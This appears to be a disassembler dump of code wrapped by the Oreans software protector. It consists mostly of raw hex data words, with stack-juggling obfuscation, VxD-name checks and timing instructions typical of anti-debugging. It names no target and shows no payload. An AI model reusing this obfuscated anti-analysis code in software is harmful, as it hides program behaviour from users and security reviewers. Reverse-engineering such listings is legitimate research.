		add	dword ptr [ebp+8], 60B5474Bh
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		dw 40FEh
		dd 30B87078h, 306AB63h,	5AE0FFC5h, 0EF106D03h, 0B002C9E8h
		dd 0DF70E816h, 0C1CCA96h, 0D72BCA7Ah, 0BD11C50Ah, 8861CAE3h
		dd 8D4407D8h, 0E834325Ch, 6, 714B9ACCh,	0B9581B26h, 7D1349DEh
		dd 6392C081h, 6E90000h,	93000000h, 19EB38C2h, 18B9BFE4h
		dd 37B20000h, 0CE8188Bh, 12000000h, 6846DB38h, 552200E0h
		dd 66C90A0Dh, 0E8CAE281h, 0D4C3815Eh, 0E9637EE8h, 0Eh
		dd 0A8F470AFh, 5B822D09h, 9C066C93h, 0F3816654h, 0CFCD2E7h
		dd 7E9h, 2E52800h, 0E534415h, 21AFC381h, 0FB553B2h, 0C2811889h
		dd 5651CD29h, 1931E881h, 800F6C7Fh, 3, 81F2BF0Fh, 7F192DC0h
		dd 516CBE6Ch, 0F4F13BDh, 0FFFF8B85h, 14E9FFh, 11E00000h
		dd 0B55AA670h, 97EA394Ah, 9E5EC052h, 0C9709ACBh, 12E80C8Fh
		dd 3F000000h, 128A7F01h, 547B110Dh, 0CA5300B7h,	6DCBB785h
		dd 815BF5D5h, 500922C6h, 0FAC38106h, 0F5000058h, 161F68h
		dd 12E800h, 0E3B50000h,	14A29061h, 6FA97C25h, 278A0218h
		dd 6328507Fh, 33FF5859h, 9DB6D181h, 0B95A3084h,	161DC819h
		dd 0D471EA81h, 0BF0F2F9Eh, 29C281C9h, 664F8CC5h, 0C281CF8Bh
		dd 0E38EDF9h, 89C9BF0Fh, 34E0BF13h, 0EB831910h,	0E881F504h
		dd 1, 0FFC0850Fh, 0B70FFFFFh, 400E9CEh,	0
		db    0
		align 2
a3anInternalExc	db '3An internal exception occured (Address: 0x%x)',0Ah
		db 0Dh,'Please, contact support@oreans.com. Thank you!',0
		align 10h
		dd 25h dup(0)
		db 2 dup(0)
word_580046	dw 0			; DATA XREF: ___:off_43285Co
					; ___:00432864o ...
		dd 0BDh	dup(0)
		dd offset dword_55FFF8+8
		dd offset dword_445750+0A8B0h
		dd 0
		dd 33E90000h, 6A000011h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 0BDA2C352h,	0B257DA5h
		dd 7E9094Dh, 0C8000000h, 637D83D3h, 858B9CFBh, 6A8069Dh
		dd 0E658529h, 443906A8h, 850F0424h, 7Eh, 68C0F60h, 8B000000h
		dd 0A82F0D85h, 61BD2B06h, 6106A822h, 0A99BD83h,	0F0006A8h
		dd 5D84h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 10AA2B6h,	0A831418Dh, 0A58D8906h
		dd 8D06A826h, 0A83AC385h, 68B0F06h, 31000000h, 0A82C71BDh
		dd 6AE0FF06h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 4231C351h, 858B3550h, 6A80D2Dh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 82C35141h
		dd 0CB6229D8h, 0E840Fh,	89600000h, 0A8218995h, 1FC28106h
		dd 616C0CBEh, 4244439h,	64850Fh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 8E0F4FC3h
		dd 8, 2860Fh, 61600000h, 693985C7h, 106ABh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 8960F1C3h, 0A81411BDh, 0DD858B06h, 6106A81Eh, 16D98501h
		dd 96006A8h, 0A825A19Dh, 0AE906h, 85890000h, 6A82985h
		dd 0
		dd 1B8h, 0BF858700h, 0B06AB6Ah,	0FFF675C0h, 0A815D5B5h
		dd 31858F06h, 6A06AB69h, 0FFFF6A20h, 0A80F8995h, 29BD8306h
		dd 6A806h, 6A0874h, 1B3195FFh, 0BD8306A8h, 6A81FE5h, 680D7401h
		dd 80h,	95FFFF6Ah, 6A80F89h, 52006AF9h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 0AE7EFCA3h
		dd 13E9h, 0EF612800h, 139038D1h, 1A1A5A3Dh, 0EC71F15Ah
		dd 0B11F510Eh, 8D89C02Bh, 6A80031h, 2824548Bh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0B0C35242h, 7D858963h
		dd 6A06A80Eh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 0FB19C357h, 0E9D1C242h, 6, 3532564Bh
		dd 0F6017E0h, 689h, 75B50100h, 8906A833h, 0A83191B5h, 3CBE6106h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 7661C355h, 68E0Fh, 95010000h
		dd 6A821E1h, 24247403h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 15h, 39C35545h, 0AD9D29C3h, 6606A82Ah, 75BD89ADh
		dd 306A831h, 6A242444h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 2900C357h, 892021FAh
		dd 8509DD67h, 6A82FD9h,	60525050h, 0DE8h, 1828FF00h, 87250165h
		dd 3C1F263Dh, 52586E00h, 310F615Ah, 14E9h, 0B7A50F00h
		dd 0FD75EEBh, 0EC40F21Dh, 0A35B72EFh, 0CAA42196h, 89585AA0h
		dd 6A2404h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 8D8993C3h, 6A806F1h, 6A78408Bh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 0E9BCC352h, 0Eh, 9916B9EFh, 0B3996E4Bh, 9CE40A56h, 8D0F01B2h
		dd 6, 1A758589h, 0BD8306A8h, 6AB6939h, 0FA850F00h, 0F000000h
		dd 18Ah, 8529FC00h, 6A80E4Dh, 60525090h, 13E8h,	0AFBB7B00h
		dd 41AECAF2h, 0FF21241h, 0F71D320Eh, 8513B8B8h,	0F52505Fh
		dd 61585A31h, 0BA60310Fh, 61BA5D5Dh, 61D18B66h,	0F50585Ah
		dd 1082h, 0BE900h, 0C4860000h, 0C064A044h, 0C464D430h
		dd 6A90F2h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 9E8439C3h, 519589F5h, 8B06A801h, 6A2C2444h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 8984C356h, 0A833459Dh, 8A0F9006h,	12h, 52505250h
		dd 585A310Fh, 5250310Fh, 585A310Fh, 6050585Ah, 0C28A5853h
		dd 85299061h, 6A819F5h,	3C37858Dh, 8C0F06ABh, 6, 9019D01h
		dd 0D0FF06A8h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 15h,	69C35747h, 24440317h, 8E928h, 0C14D0000h, 63ED9637h
		dd 408B3DABh, 55006A18h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1904h, 0C3554500h, 38202A1Eh, 6A400179h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0A017C353h
		dd 840AF6B1h, 60602131h, 2DA58D0Bh, 0B52306A8h,	6A81FA5h
		dd 61D4B561h, 69358589h, 0B58906ABh, 6A806B1h, 56006A58h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 78708B0Ah, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 17h,	62C35747h, 0F9237207h, 6A1CC683h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0C531C355h
		dd 719529F5h, 9606A80Fh, 19919589h, 7C8106A8h, 2424h, 870F1000h
		dd 0C9h, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 15h,	4CC35141h, 0E58D898Ch, 906A82Fh, 0A80FC185h, 66605006h
		dd 0F08BF98Bh, 24048961h, 24448BF5h, 1890F28h, 0F5000000h
		dd 8850F90h, 0F000000h,	281h, 50616000h, 0CE95250h, 0A2000000h
		dd 0BC3EC211h, 6314E0h,	0FFFC44Fh, 6E931h, 403D0000h, 3D740481h
		dd 0FC90585Ah, 3C37858Dh, 0FFFC06ABh, 57006AD0h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h
		dd 0D76A8EB9h, 0E96090FBh, 0Ah,	1DC80C42h, 6602745h, 8166B448h
		dd 61A39DEAh, 10E9h, 0C4075400h, 43E78877h, 1A3B97D9h
		dd 32E06A11h, 6A96EFh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 800F05C3h, 1, 12E9F5h, 0B0F20000h
		dd 8F324078h, 0CAC087Fh, 59CEDE92h, 7711F1FAh, 24247403h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 77C35646h
		dd 0BDDFE7C4h, 625BD3C0h, 0A5B58B60h, 6106A82Dh, 0E850Fh
		dd 9E90000h, 1000000h, 0A94955C6h, 0C11374F2h, 317DBD8Dh
		dd 6A06A8h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 32374DC3h, 0DD11F76Ch, 0A860FDEh,	60000000h
		dd 5F90D6BAh, 0D4D5800Eh, 14E86061h, 0B9000000h, 29682F6h
		dd 6D482528h, 0F72E69E4h, 97B38893h, 0F9E6665h,	0E958F9BFh
		dd 5, 4BC42A5h,	60AD6141h, 24ED8D03h, 9D8B06A8h, 6A81B29h
		dd 13E961h, 0BB20000h, 9722FA60h, 5E928C5Ah, 0CC7649B8h
		dd 0C82AF691h, 247C81DBh, 24h, 23870F10h, 6A000001h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 0C030C350h, 608AC60Ch, 8BF28B66h, 0A80685B5h, 0E9906106h
		dd 6, 5DE8B81h,	50500E12h, 10E952h, 0A6800000h,	1A043F6Ah
		dd 0B8DB5A24h, 63863F5Ch, 310FBD3Ah, 2830Fh, 61600000h
		dd 6A90585Ah, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 0FFCDC351h, 0F4945B7h,	68Ah, 25B50900h
		dd 8B06A832h, 6A282444h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 9819C357h, 8F0FA7AEh
		dd 16h,	11E9h, 0B7154700h, 1F65B65Bh, 71557E65h, 3EF15188h
		dd 896099D1h, 0A82691BDh, 5061FC06h, 14E9h, 0C3A78700h
		dd 2614354Eh, 83157B80h, 401CB31Fh, 83824576h, 24048922h
		dd 5E9h, 5EAA6700h, 858D6AC0h, 6AB3C37h, 0A2CA8160h, 8979BE86h
		dd 0A8314995h, 0D0FF6106h, 11E9h, 0DA4FF600h, 0B595A243h
		dd 533B3EFBh, 0EAC41C57h, 44035AF4h, 8E0F2424h,	6, 17559D01h
		dd 0F5AB06A8h, 0FA81h, 820F0001h, 69Fh,	0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 14h, 60C35242h, 0DE960h
		dd 0D2540000h, 0AAAF433Dh, 0A125B356h, 61A9252Bh, 1445BD8Dh
		dd 316006A8h, 0A82B5DBDh, 0AF08106h, 615C0592h,	13E9ADh
		dd 4ED60000h, 4044E472h, 73D45D0Eh, 6E1225CAh, 0F358C5C2h
		dd 247C815Ch, 24h, 61870F10h, 6A000001h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 615DC353h
		dd 1248C48Ah, 0E9609EF3h, 0Ah, 534A5FAh, 0DDE8E080h, 0B9664C6Fh
		dd 29614534h, 0A8077995h, 52509006h, 14E9h, 0BBC9F400h
		dd 0CDF2D875h, 1C30983Bh, 5136DC2Fh, 580C3217h,	60310FD0h
		dd 890Fh, 0B3BF0000h
		dd 61102F9Bh, 0F50585Ah, 1E87h,	0E9525000h, 0Dh, 2B911B7Fh
		dd 0ACE899F5h, 0B10E96Ch, 50310F0Eh, 5A310F52h,	90585A58h
		dd 12E9h, 99055F00h, 511DFC18h,	74DF284Ch, 0E77AAC6Eh
		dd 8B6967E5h, 6A282444h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 0DD53C352h,	0E9525090h
		dd 0Eh,	0E59EB0C8h, 0A765F78h, 0CEB40704h, 310FB157h, 68D0Fh
		dd 52500000h, 585A310Fh, 0E950585Ah, 9,	56757118h, 9719FC34h
		dd 0CE9907Bh, 0F6000000h, 64C426A0h, 459B75B4h,	8D5967D5h
		dd 0AB3C3785h, 459D0106h, 0F06A80Eh, 1880h, 12840F00h
		dd 0E9000000h, 0Dh, 2BE47770h, 0F866975Eh, 33821518h, 6AD0FFC3h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 2312C351h, 0BD89F949h, 6A82D81h, 24244403h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0F0C35646h
		dd 3FF10025h, 11E950F5h, 0B000000h, 3A4243BAh, 0FCD598C6h
		dd 9A50A1A8h, 1B635D57h, 6A240489h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 897AC350h
		dd 0A80D2185h, 158D2906h, 0E906A811h, 12h, 0C6AD516h, 6911EB70h
		dd 0DC9B26F1h, 46AF8FE2h, 6AAB6C34h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 9027C357h
		dd 9670A1C8h, 0BD8DF420h, 6A813F9h, 0F6D9589h, 870F06A8h
		dd 7, 1810Fh, 0ADF50000h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 15h, 94C35040h, 247C8106h,	28h, 0B5870F10h
		dd 0F9000000h, 12E950F9h, 82000000h, 4CAF356Bh,	0E5FDB3AEh
		dd 0E42CE1C5h, 0E50FAF8Eh, 240489DFh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 36C35545h, 0BE655F3Dh, 8589D9CCh
		dd 6A8210Dh, 2C24448Bh,	0C860Fh, 890F0000h, 6, 17819D09h
		dd 0E95006A8h, 13h, 808D583Fh, 0C79B7F98h, 0A6D43AE8h
		dd 71D8FAB6h, 8940ED35h, 8DFC2404h, 0AB3C3785h,	56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 0F15CEA5Ch, 0A8C0Fh,	0B0600000h, 0B5BD89F4h,	6106A80Eh
		dd 9531D0FFh, 6A822D9h,	28244403h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 34C35242h, 9E1FF8F3h, 7E9DAh
		dd 89320000h, 0CD950A41h, 559D3194h, 0AB06A82Eh, 1840Fh
		dd 5EFC0000h, 69358DFFh, 0BD8306ABh, 6AB6935h, 330A7500h
		dd 26B58DC0h, 0FF06AB78h, 81AD56E6h, 28247Ch, 77100000h
		dd 448B500Eh, 8D502C24h, 0AB3C3785h, 3D0FF06h, 97282444h
		dd 858ADF8Bh, 6AB6931h,	474C084h, 4C75073Ah, 0AEC03257h
		dd 2B5EFD75h, 33FC52FBh, 0D18B49C9h, 0DB33C033h, 8AC132ACh
		dd 8AEA8ACDh, 6608B6D6h, 0D166EBD1h, 660973D8h,	66504135h
		dd 5449F381h, 0EB75CEFEh, 0D333C833h, 0F7D5754Fh, 8BD1F7D2h
		dd 10C0C1C2h, 5AC18B66h, 0F74D03Bh, 4C6835Eh, 0E7D85FFh
		dd 5DE906A8h, 5EFFFFFFh, 2B89BD89h, 6A06A8h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 8BB577C3h
		dd 0A80E7D85h, 0D78B6006h, 6AE0D161h, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 0D479C356h
		dd 30F48060h, 5E8h, 2EB7C200h, 8D0FC6B5h, 0
		dd 8503615Bh, 6A813F9h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 24C35141h, 2E63DAEFh,	0BEC9h,	0BD890000h
		dd 6A8159Dh, 31953196h,	6606A808h, 52006AADh, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 0C1D590CAh
		dd 0F5FC02E0h, 317D8503h, 36006A8h, 0A81F6185h,	58D8906h
		dd 6106A815h, 56006A96h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1504h, 0C3564600h, 0F6093EFh, 890FD1B7h, 6, 8C0Fh, 0AD610000h
		dd 0FE9h, 0DCBF9400h, 9D9195E6h, 47D5A5E5h, 67529C84h
		dd 24247C81h, 10000000h, 9B870Fh, 61600000h, 60525050h
		dd 0C52D37BBh, 615E5603h, 8D0F310Fh, 6,	310F5250h, 585A585Ah
		dd 6A240489h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 858AC357h, 8B2BE377h, 29282444h
		dd 0A806E585h, 8C0F5006h, 0Eh, 890F5250h, 0
		dd 6160310Fh, 489585Ah,	9589F824h, 6A82149h, 3C37858Dh
		dd 0BD2906ABh, 6A80BB5h, 6AD0FFh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 3174CEC3h, 0A801F185h
		dd 24440306h, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 0D11C73Ah, 89FC768Eh, 601C2444h
		dd 0BD8926B1h, 6A80589h, 0D585C661h, 6A815h, 6ABF85C7h
		dd 6ABh, 85C70000h, 6AB6939h, 0
		dd 2879BD29h, 0EE906A8h, 3C000000h, 4895177Ah, 5030FCFDh
		dd 0C39D4F3h, 8E0F6169h, 1, 8C2F5h, 5E960h, 0BBE20000h
		dd 0E9AF41D4h, 0Eh, 0E06C55BBh,	0EFC72824h, 14127BA7h
		dd 8B6150D5h, 0A8317D85h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 5EA79C27h
		dd 0E32A333Bh, 0F4A00ECh, 681h,	0D08A6000h, 60615A51h
		dd 60524EB6h, 6B615B61h, 6A04D2h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 464AC0C3h, 8B60C0F9h
		dd 0A815FD9Dh, 0D1BD8B06h, 6106A80Fh, 0BD31C203h, 6A80AD1h
		dd 6E996h, 0E2B80000h, 61CFC593h, 0D8B360ADh, 6890Fh, 9D8B0000h
		dd 6A82975h, 247C8161h,	24h, 8870F10h, 60000001h, 0DE9h
		dd 6EF3E200h, 80B7D4B1h, 0F5B4E4A2h, 5061806Ch,	0EE9h
		dd 0BD12000h, 0EBB6C939h, 414B4A6Fh, 893B4BF4h,	8BF92404h
		dd 6A282444h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 6832C350h, 0CCD29D2Ch,	0E70619ADh
		dd 12E960h, 62230000h, 1F1A610Dh, 9D937A80h, 0BDC2367Fh
		dd 907BF05h, 13E8h, 0B2161000h,	0C68B2923h, 4CFD58CFh
		dd 3CA38994h, 342E5424h, 17718D8Bh, 615906A8h, 0BE9h, 4F0FB900h
		dd 3627AB5Dh, 0E89D123Ah, 9E990h, 41AD0000h, 0BAF195C6h
		dd 5020E6C1h, 8F0F5250h, 6, 8E0Fh, 310F0000h, 61605250h
		dd 5250310Fh, 585A310Fh, 585A585Ah, 55006A90h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 8D47C886h
		dd 0AB3C3785h, 29953106h, 0FF06A81Eh, 8F0F60D0h, 6, 59D852Bh
		dd 0E96106A8h, 0FFFFFDBDh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 19h, 0F4C35242h, 0A9D228E9h, 0CE915h, 67920000h
		dd 0F30DB41Ch, 4F9B87E3h, 858D48A9h, 6AB7E2Eh, 10E9h, 73BB1F00h
		dd 6A20EC03h, 0DB4D9DA9h, 873A0D05h, 800F5088h,	12h, 52505250h
		dd 585A310Fh, 5250310Fh, 585A310Fh, 489585Ah, 56006A24h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 89C01150h, 0A82D799Dh, 35FF6406h, 0
		dd 1C099D89h, 48B06A8h,	52006A24h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 0E90A4189h, 11h, 0D7640560h
		dd 0E3BFC105h, 0B56DAB73h, 9CBF54C3h, 6810FDFh,	1000000h
		dd 0A814C995h, 0AD858906h, 6A06A81Eh, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0D54DC351h
		dd 7A46CD5Fh, 0A36E7519h, 64DB531h, 896406A8h, 25h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 0F6F4F31h, 681h, 718D8900h, 8906A802h, 0A832ADBDh, 0D9858D06h
		dd 6A06AB7Bh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 7BE0C357h, 0F016089h, 68Dh, 198D8900h
		dd 0E906A809h, 29Ch, 6810Fh, 95290000h,	6A82E0Dh, 0E8DB8Bh
		dd 5D000000h, 7BD2ED81h, 9CBC06ABh, 830012FFh, 0A81FE5BDh
		dd 18740006h, 0D19858Bh, 0C606A8h, 0A1858B00h, 0C606A832h
		dd 95FF0000h, 6A80081h,	3DB5FF60h, 8D06AB65h, 0AB654185h
		dd 858D5006h, 6AB6739h,	3595FF50h, 8306A822h, 6A610CC4h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 4667C352h, 72EF93Ch, 0D9B5890Eh, 6A06A80Fh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 35BFC357h, 0B5311A4Bh, 6A8140Dh, 6739B58Dh
		dd 9D0106ABh, 6A802EDh,	22DDBD8Dh, 870F06A8h, 6, 250D9501h
		dd 3E8006A8h, 0AD840F00h, 6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 95A1C357h
		dd 9E97232h, 77000000h,	22024028h, 0F24E564Fh, 0BE960h
		dd 0D6F50000h, 758C937Bh, 0E24CE03h, 0CD9529B9h, 6106A82Eh
		dd 56006AA4h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 871C084Fh, 9890F8Ah, 60000000h, 0F779DA81h
		dd 61F91A09h, 9E9h, 87898000h, 5DED00D1h, 6FE9F2F1h, 6AFFFFFFh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 1CB1C352h, 1800FDEh, 0FC000000h, 0B8h, 8E900h
		dd 0E9EA0000h, 0EEF2CBB6h, 85010990h, 6A831B5h,	50006AAAh
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1B04h, 0C3504000h
		dd 617763D9h, 0F903AE1Ch, 7B8F5h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 0CAE7C9C3h
		dd 0D565C01h, 12E9h, 9B481300h,	0B169D12Eh, 8E253EDDh
		dd 623912DEh, 0C72B7DFBh, 0A8162D85h, 106h, 0C860F00h
		dd 0F000000h, 68Bh, 99BD0900h, 8D06A820h, 0A84FAF8Dh, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 0E76A7EA0h, 870F60D5h, 0
		dd 6AE1FF61h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 0FA6EC352h, 7E4A6820h,	0A5BD31ECh
		dd 8B06A805h, 550C245Ch, 0E8h, 0ED815D00h, 6AB7E38h, 0B8838Bh
		dd 85890000h, 6AB653Dh,	7BCB858Dh, 838906ABh, 0B8h, 0C3C0335Dh
		dd 33E58D31h, 6A06A8h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 0B86224C3h, 30998D29h, 0E96006A8h
		dd 0Ch,	0D1FF579Ch, 36E594E8h, 0BE99C3E8h, 812E858Dh, 6A06ABh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 0EF3437C3h, 0E990F8EAh, 7, 0A5D88EB7h, 506CBC6Ah, 0B9605250h
		dd 44A92071h, 0F617FB3h, 28A0F31h, 60000000h, 90585A61h
		dd 29BD8B60h, 2306A82Ah, 0A817D995h, 0B5296106h, 6A83001h
		dd 35FF64h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 246EC350h, 0BC90BBAEh
		dd 6408DA72h, 2589h, 820F0000h,	10h, 0A8F0Fh, 5E90000h
		dd 21000000h, 0D276976Eh, 7E9h,	0A0122F00h, 1EBBDC62h
		dd 81BE858Dh, 0BE906ABh, 0F9000000h, 0AF0CB730h, 0C3715E3Dh
		dd 608943B0h, 0A800F01h, 60000000h, 880F08B7h, 0
		dd 0B5296061h, 6A805B1h, 68A0Fh, 0D8810000h, 32676E2h
		dd 0D585C661h, 4F06A815h, 0A9D9529h, 4E806A8h, 2A000000h
		dd 60FEC874h, 0C68B6660h, 61615E53h, 128C0F50h,	50000000h
		dd 0F525052h, 0F585A31h, 880F31h, 5A000000h, 24448B58h
		dd 0F525004h, 138Eh, 0EE900h, 0DA930000h, 2B9A2CCFh, 88B99944h
		dd 46BB64E9h, 0E960310Fh, 9, 0E14682C6h, 1C0E51EFh, 616160ADh
		dd 8B585Ah, 52505250h, 310F5250h, 310F585Ah, 310F5250h
		dd 585A585Ah, 9E9310Fh,	0A7000000h, 7B9570F6h, 45C86428h
		dd 4489585Ah, 0E8600424h, 0Bh, 3A57B103h, 7023ABB9h, 0FE267D8h
		dd 84h,	3EBA5E00h, 61798D72h, 56006A58h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 3D3AE378h
		dd 84AD59BBh, 0F95B5FFh, 6A06A8h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 0E43A18C3h, 3185748Ch
		dd 0A82BA995h, 71858D06h, 6A06AB69h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 22D4C355h
		dd 208DF821h, 0D0FFF905h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 0F4C35545h, 0D875BBC9h, 0F3BCDF2h, 181h
		dd 8A0FF500h, 0Ch, 6840Fh, 0BD890000h, 6A831B5h, 0C2E9h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 0C5C0BFE8h, 0DBD295Eh, 0E906A80Ch, 7, 791D5429h
		dd 8B5805BCh, 550C245Ch, 0E8h, 0ED815D00h, 6AB8138h, 31F9858Bh
		dd 858906A8h, 6A80F95h,	0D2D858Bh, 858906A8h, 6A80DB5h
		dd 69D858Bh, 858906A8h,	6A80219h, 15D585C6h, 0C70006A8h
		dd 0AB6ABF85h, 6, 0BE858D00h, 8906AB81h, 0B883h, 0C0335D00h
		dd 0FE9F8C3h, 18000000h, 97BC2317h, 0B18B3204h,	76039DCFh
		dd 6A46D6h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
		dd 57470000h, 0BB52E8C3h, 93B53D64h, 0BC095046h, 12FF74h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 56C35141h
		dd 595D8598h, 4CC1E0AFh, 6810FB8h, 89000000h, 0A81C3185h
		dd 58F6406h, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0EBC35646h
		dd 17D02B16h, 0C98D09ABh, 0FC06A802h, 96BB6660h, 8361F8CAh
		dd 6A04C4h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 0F222B7C3h, 68E0Fh, 85310000h, 6A82EF5h
		dd 12E9h, 8A587600h, 660EFB65h,	3029331h, 9639EEEDh, 61D28F6Fh
		dd 464934EBh, 52474D53h, 4B562020h, 20202044h, 4D562020h
		dd 2020204Dh, 57562020h, 32334E49h, 58562020h, 52444C44h
		dd 2020h, 2 dup(0)
		dd 0C8E90000h, 60000006h, 1236BB66h, 61CABF0Fh,	0C88B6060h
		dd 6850Fh, 0D1810000h, 5F702510h, 9985C761h, 6AB82h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 0CC40C350h, 8BE3F93Bh, 52006AC6h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 0D8B70FBCh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 6EC35141h
		dd 0C16D4523h, 66F810E8h, 0F08C8C1h, 18Dh, 8589F800h, 6AB829Dh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 2CC35242h
		dd 53EA9DB4h, 81666094h, 0FA8CFD0h, 381h, 0D2BF0F00h, 0CBC16661h
